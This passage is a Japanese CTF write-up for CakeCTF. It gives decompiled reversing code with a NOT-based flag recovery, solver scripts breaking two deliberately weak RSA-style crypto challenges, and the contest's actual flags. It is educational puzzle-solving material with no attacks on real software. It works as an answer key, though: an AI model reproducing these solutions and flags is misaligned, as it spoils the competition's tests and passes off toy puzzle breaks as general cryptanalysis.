flag = (char *)newSeq(NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_,len);
for (i = 0; i < len; i = i + 1) {
if (param_4 == 0) {
reverse_c = (*colonanonymous)((int)key[i]);
}
else {
reverse_c = (*colonanonymous)((int)key[i],param_4);
}
flag[i + 0x10] = reverse_c;
}
return flag;
}
byte colonanonymous__main_7(byte param_1)
{
return ~param_1;
}
key
の値に対して, colonanonymous
という関数を実行し,これの戻り値を連結して,関数全体の戻り値としているようである.この戻り値がそのまま入力との比較に利用されるため,この戻り値が flag
であると考えられる.そこで, key
に対して処理行っている colonanonymous
を確認してみると,ただbitを反転させているだけのようである.
以上のことから, key
の配列に対して not
演算を行えばフラグが取れそうなので,solveを書いておわり.
solver
key = [0 for i in range(0x28)]
key[0x10] = -0x44
key[0x11] = -0x62
key[0x12] = -0x6c
key[0x13] = -0x66
key[0x14] = -0x44
key[0x15] = -0x55
key[0x16] = -0x47
key[0x17] = -0x7c
key[0x18] = -0x74
key[0x19] = -0x31
key[0x1a] = -0x6e
key[0x1b] = -0x34
key[0x1c] = -0x75
key[0x1d] = -0x32
key[0x1e] = -0x6e
key[0x1f] = -0x34
key[0x20] = -0x74
key[0x21] = -0x60
key[0x22] = -0x6f
key[0x23] = -0x31
key[0x24] = -0x75
key[0x25] = -0x60
key[0x26] = -0x44
key[0x27] = -0x7e
flag = [chr(~k) for k in key if k != 0]
print(''.join(flag))
$ python solve.py
CakeCTF{s0m3t1m3s_n0t_C}
CakeCTF{s0m3t1m3s_n0t_C}
crypto
frozen cake
下記のような処理が行われており,
from Crypto.Util.number import getPrime
import os
flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}")
m = int(flag.encode().hex(), 16)
p = getPrime(512)
q = getPrime(512)
n = p*q
print("n =", n)
print("a =", pow(m, p, n))
print("b =", pow(m, q, n))
print("c =", pow(m, n, n))
n, a, b, c
の値が公開されている.本番中取り組んだが,なんもわからず敗北して悔しかったので kurenaifさんの配信を見ながら解いた.
敗因は明確で,オイラーのトーシェント関数を知らなかったことであり,どれだけ式変形をしても解に辿りつけなかった.(悲しい)
オイラーのトーシェント関数は,
n = p*q
φ(n) = (p-1)*(q-1) mod n
において,mが任意の数字で
mφ(n) = 1 mod n
が成立するという性質がある.
この性質を利用すると,
mφ(n) = mp*q - p - q + 1 = mpq * m-p * m-q * m1 = c * a-1 * b-1 * m = c*m/(a*b) = 1 mod n
が成立する.
このため,
m = a*b/c mod n
となるため,a, b, c, nの値からmが求まる.
solver
from Crypto.Util.number import getPrime
n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131
a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528
b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477
c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549
m = a*b*pow(c, -1, n)%n
# print(m)
m = format(m, 'x')
print(m)
flag = bytes.fromhex(m)
print(flag.decode())
CakeCTF{oh_you_got_a_tepid_cake_sorry}
brand new crypto
上の問題ついでに競技後に解いたが,比較的何も知らなくても解ける問題だったため,競技中やればよかったと少し後悔.
問題
from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD
import os
flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode()
def keygen():
p = getPrime(512)
q = getPrime(512)
n = p * q
phi = (p-1)*(q-1)
while True:
a = getRandomRange(0, phi)
b = phi + 1 - a
s = getRandomRange(0, phi)
t = -s*a * inverse(b, phi) % phi
if GCD(b, phi) == 1:
break
return (s, t, n), (a, b, n)
def enc(m, k):
s, t, n = k
r = getRandomRange(0, n)
c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n
assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n)
assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n
return m * pow(r, s, n) % n, m * pow(r, t, n) % n
def dec(c1, c2, k):
a, b, n = k
return pow(c1, a, n) * pow(c2, b, n) % n
pubkey, privkey = keygen()
c = []
for m in flag:
c1, c2 = enc(m, pubkey)
assert dec(c1, c2, privkey)
c.append((c1, c2))
print(pubkey)
print(c)
keygenにより公開鍵と秘密鍵を作成し,これを秘密鍵で暗号化したものを公開鍵と一緒に渡されるため,公開鍵の情報だけで暗号文を復号しろというもの.
愚直に問題読んで,とりあえず数式を立てると,
c1 = m*rs mod n …①
c2 = m*rt mod n
の2つの式が成り立つ.
また,上の式を変形した,
rs-t = c1/c2 mod n
も成り立つ.
ここで,①をrについて解くと,
rs = c1/m mod n
が成り立つ.
ここで,お互いをs-t, s乗すると,
(c1/c2)s = (c1/m)s-t mod n
が成立する.
さらに,mはフラグであることから,ASCII文字であるため,0x00から0x7fの範囲にあることがわかる.
よって,mを0x00から0x7fまで変更しながら上記の式が成り立つまでループを回せば,フラグが取れるはず. (mが0のときにプログラムがバグるので,mは1からにした.)
solver
import output
s, t, n = output.pubkey
for c1, c2 in output.c:
for m in range(1,0x7f):
if pow(c1*pow(c2, -1, n), s, n) == pow(c1*pow(m, -1, n), s-t, n):
print(chr(m), end='', flush=True)
print('\n', end='')
CakeCTF{s0_anyway_tak3_car3_0f_0n3_byt3_p1aint3xt}
Survey
アンケートに答えると貰える.
楽しかったです!!
CakeCTF{ar3_y0u_5ati5fi3d_with_thi5_y3ar5_cak3?}
Welcome
CakeCTF{p13a53_tast3_0ur_5p3cia1_cak35}
おわりに
ヒープから逃げてごめんなさい.